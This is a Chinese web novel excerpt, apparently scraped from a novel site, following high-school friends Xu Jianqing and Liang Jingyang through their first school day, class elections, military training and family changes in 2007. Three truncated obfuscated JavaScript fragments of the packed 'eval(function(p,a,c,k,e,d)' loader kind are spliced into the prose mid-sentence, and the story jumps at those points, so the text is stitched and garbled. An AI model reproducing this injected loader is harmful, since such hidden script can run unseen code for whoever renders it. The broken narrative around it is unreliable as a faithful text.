她从小就怕到新环境,搬家到青石巷后,有他这个交际达人在前面,反正他会护着她,她安安心心躲在他身后,通过他再逐渐熟悉新班级,一点都不慌。 之后和他分开,开学或分班总要紧张一阵,不得不自己壮起胆面对,那一步迈过去了,好像也没什么。 “那不是发小吗?”胡一可的声音很清亮,同学们一个个正无聊,目光都转过来看热闹。 梁景阳大大方方和大家打招呼,一点新同学初来乍到的陌生感都没有,好像和他们一样已经在这读了初中三年。 胡一可想到什么,突然又问:“你刚才说,帅哥叫什么名字?” 许见晴往后走着,一边说:“姓梁名景阳,景色的景,阳光的阳。” 胡一可却像发现什么了不得的秘密,惊喜道:“你们的名字是一对诶,见晴—景阳,你们爸妈一起起的吗?” 许见晴站在课桌边,愣了一下,太熟悉自己和他的名字,含义模糊化,从来没去细想过,听她这么一说还真是。 许见晴说:“不知道诶。” 梁景阳从她身边走过去,两人短暂地对上视线,都没说什么。 许见晴刚坐下,前桌两个女生回身和她们打招呼。 其中一个齐肩短发,皮肤白,大眼睛,表情很灵动的女生,笑吟吟伸出手说:“hi,我知道你们,我叫王巧玲。” 许见晴和她握了握手:“许见晴。” “虽然第一次说话,但我已经阅读过你很多篇作文了,怎么写的,每次都是范文,”另一个扎着高马尾,瘦高个的女生伸出手,“我叫凌越。” 四个人,四只手,乱七八糟地相互都握了一遍。 四个女生聊得好好的,许见晴和夏书亭中间突然穿过一条手臂。 江皓那个社交牛逼,直接站起来,往前一探身,远距离和两位女生握了握手指尖。 “江皓,江,江畔何人初见月,江月何年初照人的江。皓,白也,送尔长江万里心,他年来访南山皓的皓。”江皓咧嘴一笑,他暑假晒得颇黑,显得牙齿颇白。 他颇有情感地自我介绍完,这一小块地方安静了足足三秒。 许见晴想,他一定提前偷偷背过。 夏书亭的脑子里飘过——tomato~~ 王巧玲和凌越则被如此隆重的自我介绍镇住了,呆呆看着他。 王巧玲小声说:“我是不是要股掌?” 于是四个女生非常默契地抬起手,用指尖小幅度鼓掌,毫不吝啬用赞赏的目光看着江皓。 江皓潇洒地一摆手,心满意足地坐下了。 说起名字,是江皓的痛。 小学的时候,英语老师让大家给自己起英文名,他翻遍课本,选了个威风凛凛的名字:tiger。 tigertiger叫到六年级,他也知道人类不适合用这个名字。 初一,他又穷尽词汇,给自己起了个气势磅礴的英文名:tornado。 偏偏夏书亭这个文盲,看了眼他郑重其事写下的名字,不解道:“你怎么叫tomato?不叫老虎了?” 于是,tomato这个英文名病毒一样迅速扩散开,江皓那叫一个气啊。 后来,随着他在年级的声势越来越大,不少同学尊称他一句to哥,或者亲昵地叫他一声红红。 终于迎来了初升高,摆脱外号,迎接新生,江皓不再准备英文名,免得节外生枝,他决定将自己的中文名发扬光大,目前进展顺利。 “哎to哥,太好了我们又在一个班。”李伟从后门蹦跶进来,拍了拍江皓的肩膀,看见王巧玲,双眼一亮,又笑道,“猿粪呐。” 江皓刚才还得意洋洋的表情瞬间垮掉,拍掉他的手:“好屁好,皮痒了是不是?” 王巧玲白了李伟一眼。 凌越一脸疑惑:“偷哥?头哥?” 江皓微笑:“那些都是过去,请叫我名字。” “好的,王浩。” “江~皓~~”江皓强调。 “抱歉抱歉,我小学有个同学叫王浩,初中有个同学叫陈浩,”凌越顿了顿,“也可能记反了,抱歉。” 过了两秒,她迟疑道:“不好意思,您,贵姓......?” 江皓咆哮:“江!长江的江!” “哦哦,早说嘛,记住了。” 江皓:“......” 夏书亭拍拍他的肩膀:“红红,冷静。” 江皓,卒。 李伟看向梁景阳,咦了一声:“你是......我们好像见过?” “梁景阳,我哥们,前年过年的时候,我们一起打过篮球。” “哦哦对哦,我想起来了,”李伟说着说着,眼睛又是一亮,“你的手机是ipone?” 他在裤子上蹭了蹭手心的汗,呵呵笑着问:“能借我感受一下不?还没见过这种屏幕的手机。” ?2007年1月9日,iPhone初代全触控屏幕正式发布,智能手机时代正式到来。 这手机在中国还没有正式发售,是个稀罕物。 王巧玲无语又嫌弃:“李伟,你笑得像个太监。” “太监?那也是九五之尊身边的红人。”李伟能屈能伸。 王巧玲最反感他这理直气壮的窝囊样儿,而且头发还是这么油,她转回身懒得看他。 男生们很快被梁景阳的手机吸引过去,全挤在后排,七嘴八舌讨论起来。 许见晴她妈是个赶时髦的,这款手机上市后,托在国外的朋友买了一部,她妈说不好用,现在当备用机,不知道男生们稀奇什么。 她推了下N95的滑盖,觉得还是诺基亚好,嘴馋了可以砸核桃,有危险还能挡子弹。 两个初中时相熟的女同学凑过来,拉了张椅子在旁边坐下,悄声问:“见晴,你那个发小,你有他QQ不?能不能加他?” 另一个女生紧跟着小声说:“我也想加。” 王巧玲转身过来:“算我一个。” 许见晴:“......” 这个口一开,旁边又来了一个女生,一共四个,全部捧着手机殷切地看着许见晴。 许见晴无语,能不能加梁景阳问她干什么?她又不是他的管家。 “你们自己去问他吧。” “这不是不好意思嘛?” 许见晴:“没事,他很好说话的。” “可是他身边都是男生,肯定要起哄,丢脸死了。” “还不熟,含蓄一点,先线上沟通。” 许见晴想到他那天电话里谈分手的女朋友,不知道分清楚没有,想劝劝这几位,十分艰难地说:“可是,他可能比较受欢迎,有女性朋友也不一定。” “害,就认识一下,又不是要和他怎么样。” “对呀,又没有要谈恋爱,我也没那胆儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁景阳拿起那钱,笑了一声,还没来得及调侃一句,许见晴听到熟悉的声音,回过头去,把他晾在一边。 顾长远庞大的身躯走来,朝她和夏书亭挥了下手,在许见晴左手边的位置坐下,暑假两个月没见,又胖了,大肚腩快顶到课桌了。 许见晴拿起一张不知谁的纸板,给他扇风:“所长,你怎么这个点才来?” 顾长远喝了口水,往后一靠,长叹道:“所里事务繁忙呐。” 听听这官腔,许见晴都想把校长从办公室请出去,让顾长远坐进去。 顾长远外号很多,老班头和所长最多人叫,他肠胃不好,抽屉里永远放着一卷纸,经常不紧不慢地拿出来,在手掌上卷几圈,移驾去所里落坨翔子。 教室里又安静了一下,一个高挑帅气的男生走进来,许见晴在桌下踢了夏书亭一下。 “干什——”夏书亭抬眼看见他,最后一个慢半拍出来的“么”字就变得有点甜,有点嗲。 她从书包里摸出个小礼盒,偷偷摸摸塞进许见晴抽屉,半米的距离也不说话,而是给她发信息:[帮我送给季书屹。] 季书屹坐在顾长远身边,他们前边的位置还没人,许见晴拿起小盒子,藏在手心,几步走过去,坐在季书屹前面,手往他桌上一搭,东西已经留在那了。 “亭亭给你的。” 季书屹非常默契,自然且快速地收走礼物,说:“谢谢。” “我走了。”许见晴一笑,嗑到了似的,一脸甜地往回走。 不远处的梁景阳看到这幕,踢了下江皓,侧了下下巴,问:“那人是谁?” 江皓从手机里抬起头,顺着梁景阳的目光看过去:“老班旁边那个啊?季书屹,也是个学霸。” 可能觉得学霸不够形容,江皓又加了句:“特牛逼,门门功课都很厉害,一点都不偏科。” “对了,见晴也不偏科,文理分数都高。” 江皓想到一句说一句,断断续续的。 “我记得你偏科,文科不太好,你得向他们看齐。” 梁景阳凉凉瞥他一眼:“你活腻了?” “我也不偏科。”江皓大言不惭。 他是不偏科,每科都一样,一样差。 梁景阳看向他的前桌,正和老同学有说有笑,她一会儿左边来个人和她打招呼,一会儿前边来个人和她窃窃私语,看得出来,她在学校里很得人心。 “不乐意和我一个班?” 刚才随口一句玩笑话。 好像是真的。 11. 第 11 章 “老师来了。”有人喊了一声。 “唉,哪来二十块钱?”江皓随手一摸也能捡到钱,喜笑颜开,“谁的?” “赏你了。” “谢谢啊,”江皓乐颠颠地往兜里塞钱,“下午去网吧花掉,一起去吗?” 梁景阳想了想,没什么事,说:“行。” 随着嗒嗒嗒高跟鞋敲地的声音走上讲台,教室里嘈杂的声音潮水般退去。 “我是你们的班主任,也是数学老师,许凌云。” 许老师转身拿起粉笔,在黑板上写下三个字:许凌云。 字迹很有力道。 班主任是位女教师,不高不矮,不胖不瘦,不黑不白,戴着一副眼镜,虽然年轻,但站在讲台上很有气场。 接下来一周是军训,许老师重点讲了军训的注意事项,其他事几句带过,简洁又高效,许见晴对新班主任顿生好感。 许老师直接点名顾长远为临时班长。 顾长远当班长的经历简直是传说,从幼儿园到现在一直是班长,一天没少过。 他沉稳的体格站起来,四下扫一眼,活像领导端着保温杯抿了口茶即将发言,这感觉太熟悉,认识的同学已经开始起哄了。 顾长远手掌朝下压了压,示意大家稍安勿躁。 他轻咳一声,许见晴就笑,这气质,仿佛从娘胎里生来就是个官,佩戴在左臂的大队长牌牌至少八条杠。 “同学们好,我是顾长远,很高兴为大家服务。” 人气太高,简单一句话就有掌声和叫好的声音。 “废话我就不多说了,大家记得,有事找班长。” 他坐下,全班鼓掌。 闹一闹大家都感觉亲近了一些,放松下来,许凌云的脸上也有了笑意。 她问:“有人自荐体育委员吗?军训期间协助班长管理班级事务,其他班委军训后再定。” 有人举手。 “刘勇,你先来。” 刘勇站起身发表了一大段以前当体委的经验,担任体委的责任和意义,为同学服务的意愿等等。 他讲完后,他身边几个男生带头捧场,其他同学陆续开始鼓掌,许见晴也回过神,抬手啪啪鼓掌。 “还有哪位同学?......梁景阳,你来。” 许见晴回头看了眼,倒不意外他竞选体育委员,他从小就爱玩,精力又旺盛。 只是刘勇初中就在这读书,有人缘基础,况且他每年运动会都拿两三个冠军,据说已经确定走体育特长生这条路,他竞选体委有天然优势,梁景阳才第一天到,几个人认识他?完全处于劣势。 梁景阳倒很淡定,停下转笔的动作,从容站起身:“大家好,我是梁景阳。” 他的声音明朗干净,说话不着急,好像能不能竞选上都无所谓,试试没损失,但他目光平静坦荡,有种淡淡的清晰感,又让人很信服。 自我介绍完,他停住,稍稍看了眼班里的同学。 这短暂的一秒,班里似乎更安静了,都在静待他接下来的话。 梁景阳嘴角一弯,眼里闪过一丝坏笑,说:“如果我担任体委,以后争取尽量少让体育老师生病。” 这略带调侃,不正经中透着点认真的话,瞬间引爆全班。 一片笑声里,大家纷纷鼓掌喊好,就连班里最内向的同学之前一直低头安静当空气,这会儿也回过头看是谁在竞选体育委员。 许老师笑了一下,用手指远远地点了点他。 话不在多,关键在戳中痛点,梁景阳毫无悬念地当选体育委员。 许见晴想,她真是瞎操心,就梁景阳那个社交牛逼,需要她担心? 许凌云敲了敲讲台,示意大家安静:“班会先到这里,一会儿开新生大会,开完会班长和体委组织一下,叫几个男生去领军训服。” 班主任一走,交头接耳的声音就开始了,不到一分钟,到处是叽里呱啦聊天吵闹的声音。 江皓架着脚,椅子跷起前腿,摇摇晃晃在那神吹:“想当年,我读一年级的时候,官居小组长,那也是扎根基层,务实肯干,勤勤恳恳为同学服务,前途一片大好,有望荣升正班级干部。” 他摇头叹气:“可惜啊,年少无知,收受女同学贿赂,整整一包辣条,惨遭举报,意外落马,之后一蹶不振,现在再也没有走马上任的野心和欲望了,大伙儿多多包涵。” 江皓其实长得不错,五官周正,个子又高,就是性格又太跳,让人容易忽略他的外貌,只想和他称兄道弟。 他没边际地瞎侃,周围一圈女生都被他逗笑了。 顾长远:“我说我怎么官运亨通,原来是你没出来竞争,承让承认。” 江皓一摆手:“客气客气。” 众人又笑,瞎聊着,广播通知高一新生到操场集合。 他们从教室后门出去,许见晴走在梁景阳身后,他宽松的T恤下肩胛骨凸起两道弯弯的痕迹。 “要不要去厕所?”夏书亭问。 许见晴回过神来,目光微微闪烁:“又去?” “有点想。” 两人手牵手,从人群缝隙里穿过。季书屹见夏书亭往另一个方向走,他不动声色地跟上去。 第一次开年级大会,集合速度慢,她们去了趟卫生间赶回去,教导主任还在那试话筒,电流声滋滋响。 “你去哪了?”身边传来一道声音。 “要你管。”许见晴有时真想叫他一声爹。 梁景阳一哂。 “安静,所有同学,都安静。”教导主任凶悍的声音传来,叽叽喳喳的声音瞬间少了大半,许见晴也不说话了。 大会开始,领导冗长的讲话一分钟不少,烈日当空,黑压压的人群里,眼睛眯了一片。 直到颁奖—— “高一一班许见晴,2007年中考取得总分780分,全年级第一,全市第二的好成绩,下面邀请许见晴同学上台领奖。” 报出总分的时候,台下哇声一片,所有目光聚集向许见晴。 校长亲自颁奖,将写着奖金数额的红色牌子颁发给许见晴,两人并肩站着合影。 今天的天空格外蓝,白云格外洁净,阳光明亮透彻,让台上的人看起来格外清晰耀眼。 梁景阳站在队伍最后,有一句没一句地回应旁边同学的话,目光一直远远看着她。 同学说:“你发小成绩真好。” 梁景阳被包裹在各种议论和称赞他发小的声音里,微微一笑。 本来中午要许见晴请吃饭,但领完军训服,她和季书屹被老师叫去办公室,江皓饿得嗷嗷叫,表示改天再敲诈她。 “走了走了,饿死了。”江皓边走边往书包里塞军训服,一条腿已经迈出教室,上半身往后折,“景阳?” 夏书亭坐在位置上没动,百无聊赖地撑着下巴打哈欠。 梁景阳说:“你和江皓先回去,我等见晴。” 江皓载她,梁景阳载见晴,正好,夏书亭抱着军训服起身:“也行,那我们先走了。” 许见晴怕回来的时候班级门锁了,是背着书包走的。 很快班上就剩梁景阳一个人,他无聊地坐了会儿,给她发了条信息:[我在校门口等你。] 也下楼了。 办公室里,季书屹站在窗户前,一如既往地不爱说话。 他背着光,他鼻梁挺直,眉峰有力,面部轮廓坚毅,但神情温淡,柔和了他的气质,加上他宽阔平直的肩膀,挺拔的身形,往那随便一站,全身从上到下透着三个字,靠得住。 中考后,许见晴和夏书亭约着去KTV,决定放肆玩半天,连江皓都没叫,只叫了季书屹。 因为他靠谱。 等了一会儿,许老师来了,主要问他们一些学习上的问题,许见晴暑假两个月完全摆烂,看季书屹条理清晰地回答老师的问题,她更心虚了,含糊其辞说她看书比较杂(主要是小说),背了点单词(背到abandon),锻炼了语言表达能力(和网友对线),她脑子和断线似的,老师交代他俩的话压根没听进去,稀里糊涂地走出办公室,感觉经历了一场劫难。 经过的每一间教室都是空的,他们班也没人,两人径直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她有些喘气,努力平复住呼吸,说:“算了,不麻烦别人,还是坐你的破车。” “麻烦我不是麻烦?” 她站着,比坐在车上的他高,能看清他脸颊上带着一点汗,亮晶晶的,声音也有点干,等她这么久肯定很热了。 许见晴坐上他的自行车后座:“少废话,快走。” 梁景阳冷哼一声,问,“坐好了?” “好了。” 他看了眼影子,确认她坐好了,蹬着自行车上路。 又对上他的肩胛骨,不知道是什么手感,应该很硬,她很想戳一下,但不合适。 一个下坡,自行车的速度快起来,风灌进他的T恤,柔软的布料一下打在她脸上,温热的风带着他身上干净清爽的味道兜头盖脸,闷住她的视线和口鼻,白蒙蒙的光晕里,她定住了,呼吸消失了一样。 不知过了多久,他的衣服落下去。 许见晴轻轻压住他的T恤下摆。 她感觉有点异样,于是想找点话说。 但她这人有一点不好,不会好好说话。 本来想说,你刚才怎么不叫我? 开口成了:“你就不能学学人家季书屹,脾气好、又礼貌——啊!!!梁景阳!!!” 梁景阳故意往减速带上冲,颠得许见晴差点掉下去,屁股都要开花了。 但也如愿知道了他肩胛骨的触感,硬,很硬,撞得她快痛死了。 经过一个三岔路口,没有树木遮挡,太阳直射,他命令她:“举前面一点。” 许见晴把牌子往前移,挡住他头顶的太阳,气哼哼地说:“对别人客客气气,对我永远凶巴巴。” “有意见?” “当然。” “别有了。” “呵~” ...... 自行车驶入一段林荫道,阳光和树影接替从他们身上流淌而过,微风拂面,留下清凉的绿意,像少年的呼吸一样新鲜可爱,一路吵吵闹闹,对街道的嘈杂声充耳不闻,烈日下镜头逐渐拉远,两人坐在自行车上的身影变小、变小,自行车不断往前,汇入夏天绿树枝叶茂盛的海。 12. 第 12 章 自行车拐进巷子,梁景阳靠着边骑,基本晒不到太阳,许见晴抱着奖学金的牌子,内心匆忙矛盾,既然大肆炫耀一番,又怕人看见,怪难为情的。 几个大伯大姨在一家小卖部外乘凉闲聊,还有一个坐在石板上捧着碗吃饭。 看到他们,李婶问:“放学了?” 许见晴想得太投入,脱口而出:“嗯,我拿了一等奖学金。” 额~囧。 不过几个大人都没反应,估计压根没听见,也不过是随口一问。 等骑远了,梁景阳才笑出来,学着她的语气说:“嗯,我拿了一等奖学金。” 许见晴恼羞成怒,用力戳他的背:“闭嘴。” 无论如何,还是开心的。 跳下自行车后座,许见晴拿着奖学金的KT版一溜小跑回到家,迫不及待想分享,毕竟这是她人生第一次挣到数目可观的钱。 迈入玄关,脚步一下停住,地上放着一双陌生的女士休闲鞋,鞋架上摆着几双款式不同的高跟鞋。 差点忘了,那位林阿姨搬过来了。 慢吞吞换上拖鞋,她发现自己的拖鞋刷过了,很干净。 客厅还是原来的样子,又哪哪都不一样了,经由另一个人的手收拾了一遍,有了她的习惯和风格。 “见晴,回来了?”许呈礼的声音从厨房传来。 “嗯。” 餐桌上已经摆着几个菜,厨房里还在忙活,飘出热腾腾的饭菜香。 许见晴走过去,看了眼,林阿姨戴着围裙在灶台前炒菜,他爸在一旁往砂锅里加盐。 听到动静,林青岚回头喊了句:“马上就能吃饭了。” 许见晴把书包和KT板放在沙发上,停顿一下,又把KT板写着奖金数额的那面朝下。 在卫生间磨蹭了一会儿,出来的时候已经可以吃饭了。 他们家的餐桌上很久没出现这样丰富多样的菜色了,挺隆重的,还买了饮料。 许呈礼举杯,三个人喝了一下,林青岚问她今天开学怎么样,她爸把她爱吃的菜挪到她面前。 许见晴低头扒饭,很想说其实没必要太关注她,这样反而让她的不适应显得更明显。 林青岚给她夹了块醋溜鱼片,说是自己的拿手菜,许见晴吃了一口,味道很好。 其实她妈做饭也很好吃,但不爱做,偶尔空闲了,来了兴致,会戴上围裙,好好地做一桌子菜,叫上亭亭、江皓、梁景阳来家里一起吃饭。 那三个,都是马屁精。 梁景阳夹一块排骨,语气别提多真诚:“火候把握的太好了吧,外面酥脆里面都脱骨了。” 夏书亭吃一口西红柿炒蛋,也能一脸享受:“简直太美味了,好吃到——”顿一下想词,“我幸福得冒泡。” 江皓则像个韩国人一样,扒一大口饭菜拼命咀嚼着,好吃得仿佛说不出话,一边夸张地拍大腿,一边冲她妈竖起大拇指。他家可是做餐饮的啊。 她妈被捧得乐开了花,转身进厨房又煎了个玉米烙。她爸坐在一旁也不多话,但脸上始终挂着笑。 那时候,可真幸福。 ...... “景阳,吃饭了吗?没吃过来吃点。”许呈礼看见梁景阳出门丢垃圾,连忙招呼他。 梁景阳大步走进来:“做了什么好吃的,我有口福了。” 林青岚起身去拿碗筷,许呈礼给他倒饮料,梁景阳在许见晴身边坐下就抢她刚夹起的排骨。 “碗里这么多干什么抢我的?”许见晴怒。 “你这块看起来比较好吃。” 两人一会儿筷子打架,一会儿嘴打架,方才还不尴不尬的餐桌上热闹起来。 吃完饭,许见晴站起身收拾碗筷,林青岚说:“你高中学习紧,家务就不用操心了,去休息吧。” “你们站旁边去。”许呈礼叮叮当当收拾酒杯,但许见晴知道,她爸顶多这几天帮帮,之后就是甩手掌柜。 她怪难为情的,林阿姨一到她家就各种做家务,想到他爸“单身”这些年,总有长辈说,家里没女人不行,一个家里没女人不像样。 她后知后觉地明白过来,为什么一个家里女人是灵魂,因为家里大大小小琐碎的事情都是女人在操心。 梁景阳看她低眉垂眼的样子,就知道她又在想七想八,他敲了下她的额头,没正经地说:“没看出来你这么勤快?” 许见晴一抬头:“跟你似的?” “我不勤快?” 嗯......并不,她无言以对。 梁景阳笑了一下:“我回去了。” 林青岚过来收碗,许见晴往旁边挪了一下,看见梁景阳的碗里竟然还有半碗饭。 都说半大小子吃穷老子,他怎么可能才这点胃口。 许见晴看向门外,大门框住一个蓝天白云、绿树摇曳的盛夏午后,他在画框里,是一道亮晃晃的背影,逐渐走远了。 梁景阳一走,家里又冷清下来。 下午不用去学校,也没其他事,她和以往一样,上楼在房间待着。 林青岚忙完回到客厅,看见许见晴的书包上放着一块白白的板子,她翻过来一看,红底黄字的画面冲进眼睛,她笑着叫:“老许,快过来。” 许呈礼走过去一看,笑着哎了声,今天忙着搬家收拾屋子,忘了这茬。 林青岚说:“知道见晴成绩好,没想到这么好。” “她的学习一直不需要我和她妈操心,自己有安排。” “本来应该庆祝一下......”林青岚欲言又止,夫妻俩对视一眼,许呈礼拍了下她的肩膀,“总有个适应过程。” “也是,不急。” 许见晴到房间才想起来自己的书包没带上来,下去的话又会撞见林阿姨和她爸,索性懒得去拿。 这感觉很奇怪,家里多了个人,就算没看见,也总能感觉到她的存在。 下午无所事事,也不困,正不知道干点什么好,信息就来了。 群里都是@她的。 江皓:[下午出去玩不?明天开始就没自由了,@许见晴富婆请客。] 夏书亭:[@许见晴学霸请客。] 梁景阳前两天已经被拉进群里了:[@许见晴,出来请客。] 许见晴嘴角上扬:[去哪?现在吗?] 江皓:[当然现在。] 江皓的电动车被他爸骑去送餐了,怕他爸回来不让他出去野,几个人索性都步行,在巷子口会合,这个点太热,先去看一场电影。 走着走着,许见晴和夏书亭感觉身边那两货没了,回头一看,两人驻足在网吧前往里看。 江皓:“我有个主——” 夏书亭和许见晴同时:“不行!” 两货乖乖跟上。 走着走着,经过一家蛋糕店,夏书亭走不动了,她眨巴着眼睛,说:“见晴暑假过生日,我们都不在,没给她过,今天补过怎么样?” 江皓啧了声:“我看你是自己想吃蛋糕吧?” “又不冲突。”夏书亭理直气壮。 几人进蛋糕店选蛋糕,留了电话,确定吃晚饭的地方再让老板送。 许见晴去付钱的时候,老板看向梁景阳,说:“这帅哥已经付过了。” 梁景阳一手搭在柜台上,懒懒站在空调下吹冷气。 许见晴戳了一下他的手臂:“钱给你。” “当我补你的生日礼物。” 这哥还是一如既往的大方,许见晴说:“那我不是也得给你补一个生日礼物?” “好啊,”他伸出手指算,“今年、去年、前年、大前年,都补上。” “......” 能不能好好说话? 店里凉快,他们多待了一会儿,推门出去的时候,脚步都停住了。 刚才还是晴空万里,转眼已经乌云滚滚,大风卷着枯叶和塑料袋横过街道,行人四下奔跑,快速空出一整条街,眼看大雨就要落下。 他们拔腿就往电影院的方向跑,很快,大颗大颗的雨点落下来,许见晴边跑边撑开遮阳伞,风太大,伞骨瞬间全部往后折,风兜进伞里,重重往后顶,她举步维艰,人都快被吹斜了,又笑又急地喊了声:“喂。”也不知道喊谁。 梁景阳回头,一看见她的样子就笑了,从她手里拿走伞。 “磨蹭什么,快跑。”他二话不说,握住她的手腕,撑着一圈翘起的伞,大步往前跑。 许见晴被他拽着不得不加快脚步,风疾驰过耳边,空气里浮起尘土的味道,她迎着雨点,看着他宽阔的背影,心里莫名一晃。 紧跑慢跑还是没能跑到电影院,在大雨倾盆前躲进上次那家冰厅。 这个点没什么人,一人点了一杯饮料,坐到上次那张靠窗的桌子。 雨声很大,外面白茫茫一片,地面很快积了一层水,整座城市湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我先回去了,你们慢慢走。”江皓摇了摇手,八点刚过,他家的小饭馆还灯火通明,他没进巷子,往街道左边走。 “我也走了。”夏书亭家就在前面。 两人都没几步,突然听见梁景阳凉飕飕飞刀子似的声音:“许见晴。” 两人脚步一顿,都乐颠颠往回走,看热闹不嫌事大。 许见晴有点懵,连名带姓地叫她,还是像要吃人的语气,好端端的干什么? “你挺大方啊,”梁景阳举了下手机,要笑不笑地弯着嘴角,“帮我拓展了几个QQ好友?” 刚才他拿出手机看了眼时间,手机震个不停,被信息轰炸。 许见晴掏出手机看了眼,是她说的时间,她们不会这么整齐地这个点来找他闲聊吧? “......也没几个。”她硬着头皮承认。 夏书亭不动声色地往后移动,这事她也有份。 梁景阳一个眼神杀追来,她脚步一停,军训的惯性作用,直接站了个军姿。 “那什么,我们开玩笑的,她们说加上你的Q请我们喝奶茶。” 许见晴急忙去捂她的嘴,已经来不及了,猪队友啊,这是能说的吗? 回头一看,梁景阳的脸色果然更冷了。 “我在你心里就这点分量?几杯奶茶就把我卖了?” 许见晴被他冰冷的眼神冻得泪流满面,失误啊失误。 “都是同班同学嘛,反正迟早要认识的。”她试图辩解。 “你怎么不把我的QQ号印成传单,带到校园去发?” “......” 梁景阳伸手就揉了把她的发,揉得她晕头转向,感觉路灯都有点晃。 “喂喂喂,了不起让你把我的QQ也给别人。” 此话一出,他的手劲好像更大了。 夏书亭觉得他们两个的感情还没完全修复,估计许见晴到家了,她又当起了和事佬,拿起手机敲字。 夏书亭:[你知道今天的活动是谁安排的吗?] 许见晴很快回复:[梁景阳。] 夏书亭:[靠,你知道,我还以为我们演得很真呢,中午他突然叫我和江皓出来玩,主要是为了陪你散心,不用在家里待着。] 怎么会不知道,这么热的下午,江皓一准窝在网吧,亭亭也只愿待家里吹空调,他们费心找借口约她出来,不过是一个有心,两个有意。 夏书亭:[他对你很好吧。] 许见晴:[那不是他应该的吗?] 夏书亭瞪着手机,好,你是女王。 13. 第 13 章 许见晴回到家,想到军训服还没洗,准备拆开洗了。 走到沙发边,中午回来时她几样东西都随便一丢,连七八糟。 现在,她奖学金的牌子被竖在窗台边,书包整整齐齐立在沙发一端,而她的军训服已经洗好晒干,叠得整整齐齐,放在书包旁边。 她拿起衣服,原本硬邦邦带着新衣服臭味的布料变成干净柔软,有洗衣粉淡淡的香味。 绝对不是她爸做的,她爸没有这么细致。 许见晴背起书包,拿着军训服上楼,心情起起伏伏。 第二天,许见晴一大早到夏书亭家等她。 看见夏书亭走出门,她吓了一跳:“脸色怎么这么差?生病了?” “没事,走吧,”夏书亭顶着张苍白的脸,从包里掏出一盒药,“放你这。” “你要不要请个假,我帮你和班主任说。” “不用,我要是晕了就去医务室,你抓紧把药送来给我。” 许见晴总觉得这话听着不太对。 直到军训进行了半小时,烈日下,夏书亭的影子晃了晃,接着就面条似的倒在地上。 夏书亭、梁景阳、江皓第一时间冲过来,但晚一步。 有人更快,已经抱起夏书亭飞奔向校医务室。 一切发生得太迅速,全班同学目瞪口呆地看着这一幕,有点没反应过来。 包括他们班愣头青似的小教官,也傻眼了。 梁景阳则若有所思地看着季书屹抱着夏书亭的背影。 “教官,”许见晴连忙拿出药,“她是我朋友,药在我这,我给她送过去。” “快去快回。” 许见晴跑了。 小教官转向队伍:“立正!” 所有人笔挺站好。 另一边,许见晴一步迈入医务室,凉爽得仿佛是另一个世界。 夏书亭脸色苍白地躺在小床上。 校医说:“没有大问题,就是低血糖,喝点葡萄糖先缓一缓,你太瘦了,平时多吃点有营养的,少吃不健康的零食。” 许见晴站在一旁,刚想开口,被夏书亭一个眼神制止住。 她明白了。 季书屹也反应过来,微微弯唇,有许见晴陪着她,他放心了,准备走,走前还一本正经地说了一句:“让你请假不请,逞什么强。” 夏书亭将脸埋在膝盖间,肩膀一抖一抖,校医以为小姑娘在哭,好脾气地安慰她:“没事的,以后注意点就好了。” 许见晴和季书屹对视一眼,偏开头偷笑,她哪儿是哭,是憋笑憋的。 缓了会儿,校医问夏书亭感觉怎么样。 夏书亭两眼发黑、浑身无力、恶心想吐,好像只要回到操场军训,不到三分钟又会被送过来。 许见晴问:“医生,能不能给她开个免训证明?她经常低血糖。” “我不能开免训证明。” 夏书亭一口气没上来,差点再度晕过去。 “我只能开诊断证明,建议不剧烈运动,避免久站。” 夏书亭瞬间回光返照。 如愿拿上诊断证明,许见晴扶着夏书亭离开医务室。 走出十米远,夏书亭伸出手:“快快快,快把我的药给我。” 许见晴被她弄蒙了:“你到底有事没事?” “给我你就懂了。” 许见晴从包里拿出药盒,打开,里边整整齐齐地塞满了巧克力。 “......” 夏书亭撕开一块塞嘴里:“饿死我了,昨天晚饭都没吃,只喝了一碗汤,今天早上只喝了一杯蜂蜜水。” 这样吃不晕才怪。 “也不提前和我说一声,差点吓死我。” “你那演技,要是给我穿帮了,不是白晕了?” 倒也是。 好不容易出来,许见晴也不想回去,能拖一会儿是一会儿。 两人惬意地吃着巧克力,不紧不慢地走,到走廊尽头,左拐,迎面撞上一个人,吓得许见晴立刻回到军训状态,一个立正就站得笔直。 “许老师......” 夏书亭则浑身一颤,这会儿是真的手脚无力要晕倒了,巧克力噼里啪啦全掉地上了。 刚才班长汇报班里有同学晕了,许凌云特意来医务室看看情况,谁知道走到半路已经明确情况了。 “还饿吗?”许凌云看着她。 夏书亭含着巧克力,点头,摇头,点头,十分凌乱。 “我请你吃饭吧。” 夏书亭绝望又无力拖着声音:“老师,我还是自己去吃吧,好意心领了。” “吃饱了下午正常来军训。” “是......”百密一疏啊。 “许见晴。” “到。” “现在归队训练。” “哦......” “你也没吃饭吗?” “到!” “跑步前进。” “是!”许见晴挺直身体,两手握拳提到腰际,规规矩矩地往操场小跑。 跑远了,估计许老师看不见了,挺直的身体立马垮掉,手挡在眼睛前遮光,跑得乱七八糟,但速度反而更快,在一片迷彩里眯眼认了好半天,最后还是看到梁景阳的侧脸,才确认班级营地。 中途休息,不少同学来问:“夏书亭没事吧?” “没事了。”许见晴一一回应。 早上军训结束,两个女同学蹦到眼前,一人手里提着一杯奶茶。 “亭亭是不是低血糖?我记得她以前就低血糖,刚才休息的时候我叫了奶茶,她人呢?” “还有我的,虽然梁同学只是客气地回我几句,但还是谢了。” 两位女生说着说着,眼神变得不对劲,抿着笑说了声hi,就跑了。 许见晴回头,果然看见梁景阳,她尬笑一声,拎起奶茶孝敬他:“渴不渴?” 某人阴恻恻地说:“一杯奶茶就想收买我?” 江皓大步走来,伸手拿走一杯奶茶,戳开就喝:“这鬼天气,渴死我了。” 